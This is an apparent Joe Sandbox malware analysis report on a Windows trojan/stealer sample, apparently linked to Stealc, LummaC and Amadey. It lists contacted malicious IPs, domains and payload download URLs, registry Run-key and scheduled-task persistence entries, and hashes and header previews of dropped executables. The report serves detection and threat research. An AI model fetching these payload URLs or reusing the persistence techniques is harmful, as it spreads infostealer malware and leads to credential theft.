http://mozilla.org/MPL/2.0/.	firefox.exe, 00000017.00000002.2181654980.0000016BB509F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2206591258.0000016BB6C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2243396301.0000016BBC4BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2141882460.0000016BB433B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2109915086.0000016BB55CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2107320316.0000016BB807D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2261666886.0000016BBC86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2001922469.0000016BB56D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2180279670.0000016BB4F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2137248291.0000016BB3C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2243396301.0000016BBC4CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2185673260.0000016BB575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2214195399.0000016BB7176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2217339582.0000016BB7B10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2106755846.0000016BB809E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2180279670.0000016BB4F7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2214195399.0000016BB71EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2259078814.0000016BBC703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2265478957.0000016BBE70B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://account.bellmedia.c	firefox.exe, 00000017.00000002.2217339582.0000016BB7B78000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.openh264.org/	firefox.exe, 00000017.00000002.2129547434.0000016BB0AAF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.storep	ff3d383111.exe, 00000009.00000003.1993908104.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/api$	ff3d383111.exe, 00000009.00000003.2030022648.000000000587F000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.184.206	youtube.com	United States	15169	GOOGLEUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546397
Start date and time:	2024-10-31 20:51:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	ykDoK8BtxW.exe renamed because original name is a hash value
Original Sample Name:	7cfe878555b8cc04fc52385219b423d7.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@83/39@95/14
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 35.160.212.113, 54.185.230.140, 52.11.191.138, 142.250.185.138, 142.250.186.74, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, fs.microsoft.com, services.addons.mozilla.org, ciscobinary.openh264.org, shavar.prod.mozaws.net, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, normandy.cdn.mozilla.net, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, login.live.com, blobcollector.events.data.trafficmanager.net, safebrowsing.googleapis.com, umwatson.events.data.microsoft.com, normandy-cdn.services.mozilla.com, location.services.mozilla.com
Execution Graph export aborted for target skotes.exe, PID 3612 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4588 because there are no executed function
Execution Graph export aborted for target ykDoK8BtxW.exe, PID 5352 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: ykDoK8BtxW.exe

Simulations

Behavior and APIs

Time	Type	Description
15:51:58	API Interceptor	10761967x Sleep call for process: skotes.exe modified
15:52:12	API Interceptor	53x Sleep call for process: ff3d383111.exe modified
15:52:36	API Interceptor	15x Sleep call for process: 6e2c49386e.exe modified
15:52:41	API Interceptor	53x Sleep call for process: 9c961c26ae.exe modified
15:52:49	API Interceptor	80x Sleep call for process: num.exe modified
15:53:03	API Interceptor	1x Sleep call for process: firefox.exe modified
19:51:58	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:52:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ff3d383111.exe C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
19:52:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6e2c49386e.exe C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe
19:52:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 67333e07f4.exe C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe
19:52:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002978001\num.exe
19:52:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ff3d383111.exe C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe
19:52:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6e2c49386e.exe C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe
19:53:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 67333e07f4.exe C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe
19:53:15	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002978001\num.exe
19:55:54	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nexus.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/test/num.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
dyna.wikimedia.org	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.15.59.224
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	Fw Message from Kevin - Update on Coles Supply Chain Modernisation 31-10-24.eml	Get hash	malicious	Unknown	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	El9HaBFrFM.exe	Get hash	malicious	Blank Grabber	Browse	34.160.236.64
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	Metro Plastics Technologies.pdf	Get hash	malicious	Unknown	Browse	34.128.128.0
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Lana_Rhoades_Photoos.js	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse	188.114.97.3
	a.hta	Get hash	malicious	DarkComet, DarkTortilla, Neshta	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3037R2U7Z5DR93TNCEXVFKDF.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\51BTKCWY8DV7OGJHONB1TD.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2940416
Entropy (8bit):	6.547039957169838
Encrypted:	false
SSDEEP:	49152:2oMlzszBa1BfpdSh5BGot8gFpD5DwXaOI+S25hIORmbAiGLlew7:2oqsNajBdSh5BGoeA9NLOI+GO0c
MD5:	90A33D2FA972C6879876CFD76B3BB7F2
SHA1:	BDE748D82306D4E3807B87FD23486B9B2E85BF8D
SHA-256:	1EEA8B150CA28B1B58A43DFBE65E9949CFA563DF212E1C43929931750F047180
SHA-512:	97204EC0DDDC24C05349698E2D60E9F00E9D25BDB8FFC9D4DC47E5A53CB7A2AB0B687ECE0BBB27A918A6268B9C7CBB3ECBB4B8440CEAF73F8FF2F20A93C1D347
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............/...........@.......................... 0.......-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...hdsdqunw.0......".................@...hndbucrw....../.......,.............@....taggant.0..../.."....,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584629892552237
Encrypted:	false
SSDEEP:	12288:TqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgarTN:TqDEvCTbMWu7rQYlBQcBiT6rprG8avN
MD5:	8BF1CFA7A41EFE5704ABCEED80C69AB5
SHA1:	D8BC42BE9A3C8B250CFE2F2C07EEE50F5104C8CA
SHA-256:	BA88D479A847561DEE258B2B04C7C31C9C58F50F8FD9721ADC41E78238861929
SHA-512:	30CCD278ADD2B74C9AF0DD9D464EC0595E4903BE3C9BF35AFFD351F15A90185F814B56D353420FEC649B31FBA325DF6A85797DA30E6E9FF004A9F7BE4C084F5F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....#g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..$........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...$....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

